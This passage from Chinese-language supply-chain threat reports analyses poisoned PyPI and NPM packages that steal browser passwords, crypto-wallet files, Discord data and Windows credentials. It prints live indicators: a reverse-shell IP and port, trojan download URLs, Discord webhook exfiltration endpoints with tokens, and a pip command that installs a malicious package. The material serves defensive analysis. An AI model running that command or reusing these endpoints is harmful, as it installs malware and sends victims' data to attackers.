shell反彈到攻擊者控制的服務器端口84.77.69.69:4443上，從而達到對受害者係統進行遠程shell後門控制。

Part4遠控木馬在2月份捕獲的惡意樣本中有多起針對Python知名HTTP客戶端組件httpx、requests的投毒攻擊（包括requests-sessions、requests-http、request-get、tls-session等）。這些惡意樣本的攻擊方式主要發生在包管理器安裝或者惡意包加載時，惡意包中的惡意代碼會觸發執行並從攻擊者的託管服務器上下載惡意程序到受害者係統上執行木馬後門攻擊。

以惡意包tls-session為例，其安裝包內置了包含有惡意代碼的SSL/TLS 客戶端組件tls-client，tls-client在Pypi倉庫上的周下載量超過3萬。

图片

Python組件tls-client下載量統計

組件包tls-session通過克隆tls-client v1.0.1版本項目代碼，並在tls-client的__init__.py文件中植入base64編碼的惡意代碼。

图片

base64代碼解碼後得到真實的攻擊代碼：

图片

惡意代碼從CDN服務器上下載惡意木馬程序Built.exe保存到受害者係統上（SERPROFILE%\AppData\Local\explorer.exe），並偽裝成Windows系統進程explorer.exe執行。

https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe 图片

Built.exe已被多款殺毒引擎判定為木馬

Part5數字錢包竊密NPM惡意包object-window-dtc主要目標是盜取Windows系統上Exodus數字錢包應用數據，其通過JS代碼混淆對惡意代碼進行保護逃避檢測，混淆代碼如下所示：

图片

去混淆後還原出核心惡意代碼：

image.png

image.png

代碼邏輯主要是遍歷Exodus 數字錢包應用目錄(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每個文件，並將每個文件內容通過HTTP POST方式外傳到投毒者Discord Webhook接口上。

https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6BladeroidStealer盜號2月28號，NPM開發者klewba32在官方倉庫上進行Sniper系列投毒，當天連續投放snipersee、sniperser、sniperv1、sniperv2等惡意包。這些惡意包採用相同的惡意代碼，主要目標是盜取開發者瀏覽器保存的登錄憑證、主流社交平台賬號session及用戶數據、瀏覽器數字錢包插件賬戶數據、系統中任何包含常見密碼口令關鍵字的敏感文件。

图片

Sniper系列投毒包的核心惡意代碼使用aes-256-cbc進行加密保護：

图片

代碼解密後可明顯發現代碼中存在多處涉及BladeroidStealer代號的相關內容。

图片

BladeroidStealer主要功能函數列表如下所示：

图片

以getCookiesAndSendWebhook()函數為例，其功能是從瀏覽器本地cookie文件中提取主流社區賬號（instagram、tiktok、reddit、spotify）的sessionid。

HireHackking

概述上週（2024年3月6號），懸鏡供應鏈安全情報中心在Pypi官方倉庫（https://pypi.org/）中捕獲1起新的Py包投毒事件，Python組件tohoku-tus-iot-automation從3月6號開始連續發布6個不同版本惡意包，其中多個版本惡意代碼使用PyArmor進行加密混淆保護，這些惡意包主要針對Windows平台的Python開發者，除了會竊取系統基礎信息和主流瀏覽器(Edge、Chrome)用戶密碼數據，還會遠程下載木馬程序植入到開發者係統中盜取系統密碼。

图片

python惡意組件

截至目前，惡意組件tohoku-tus-iot-automation在Pypi官方倉庫上已被下載461次。图片

图片

tohoku-tus-iot-automation惡意組件下載量

該惡意組件包在國內主流Pypi鏡像源(清華大學、騰訊雲等)仍可正常下載、安裝該惡意包，因此潛在的受害者數量將會更多。

图片

以國內清華大學鏡像源為例，可通過以下命令測試安裝該惡意組件包。

pip3Installtohoku-tus-iot-automation-ihttps://pypi.tuna.tsinghua.edu.cn/simple 图片

投毒分析當Python開發者使用pip install從Pypi官方倉庫或下游鏡像源直接安裝或者依賴引用惡意組件包時，將自動觸發執行組件包setup.py中的惡意攻擊代碼。 setup.py被PyArmor加密混淆保護。

图片

原始的惡意代碼如下所示：

图片

惡意代碼主要包括4大攻擊步驟：

收集系統信息

收集瀏覽器用戶密碼

遠程下載執行竊密木馬

數據盜取外傳

Part1收集系統信息主要收集操作系統版本、處理器、網卡及IP數據、主機名、系統用戶列表、系統進程列表等敏感信息。

图片

系統信息收集功能

Part2收集瀏覽器用戶密碼從存儲瀏覽器(Edge、Chrome)用戶數據的SQLite3數據庫文件中提取用戶密碼。

图片

瀏覽器用戶密碼收集功能

Part3遠程下載執行竊密木馬惡意組件將從遠程下載多個具有竊密功能的木馬後門程序植入到受害者係統中，用於收集Discord賬戶數據以及Windows系統密碼。

盜取Discord數據的木馬程序被偽裝成png圖片隱藏在代碼託管平台SourceForge上。

https://sourceforge.net/projects/iot-automate/files/iotautomatelogo.png 图片

图片

Discord竊密木馬

盜取Windows系統密碼主要由3個木馬後門程序(k7841286.exe、k7841286.dll和readings.exe)負責。

图片

遠程下載執行竊密木馬後門

通過程序逆向可知，k7841286.exe負責加載k7841286.dll，k7841286.dll負責啟動真正具備系統密碼盜取能力的木馬程序readings.exe。

图片

k7841286.dll啟動竊密木馬readings.exereadings.exe被多款殺毒引擎識別為gsecdump竊密木馬，主要功能是盜取Windows系統密碼。

图片

Windows gsecdump竊密密碼

Part4數據盜取外傳在收集到系統信息、瀏覽器密碼、Discord賬戶數據、Windows系統密碼等敏感信息後，投毒者會將所有數據打包外傳到Webhook接口。

https://discordapp.com/api/webhooks/1214145679094448168/vyrtZquc2ia5h7R3FtLno2_s7Lhz1MpBoUL-FA0YM4FhHu-vNxuQ2LJoET6kYW_GQ5fo 图片

Webhook數據外傳功能

Part5IoC數據此次投毒組件包涉及的惡意文件和IoC數據如下所示：

图片

排查方式截至目前，該Python惡意組件包仍可從國內主流Pypi鏡像源正常下載安裝，國內Python開發者可根據惡意包信息和IoC數據通過以下方式進行快速排查是否安裝或引用惡意組件包。

開發者可通過命令pip show tohoku-tus-iot-automation快速排查是否誤安裝或引用該惡意py組件包，若命令運行結果如下圖所示，則代表系統已被安裝該惡意組件，請盡快通過命令pip uninstall tohoku-tus-iot-automation -y進行卸載，同時還需關閉系統網絡並排查系統是否存在異常進程。

此外，開發者也可使用OpenSCA-cli，將受影響的組件包按如下示例保存為db.json文件（可參考總結中提到的組件包信息按格式增減），直接執行掃描命令（opensca-cli -db db.json -path ${project_path}），即可快速獲知您的項目是否受到投毒包影響。

image.png

懸鏡供應鏈安全情報中心是國內首個數字供應鏈安全情報研究中心，依托懸鏡安全團隊強大的供應鏈SBOM管理與監測能力和AI安全大數據云端分析能力，對全球數字供應鏈安全漏洞、投毒事件、組件風險等進行實時動態監測與溯源分析，為用戶智能精準預警“與我有關”的數字供應鏈安全情報。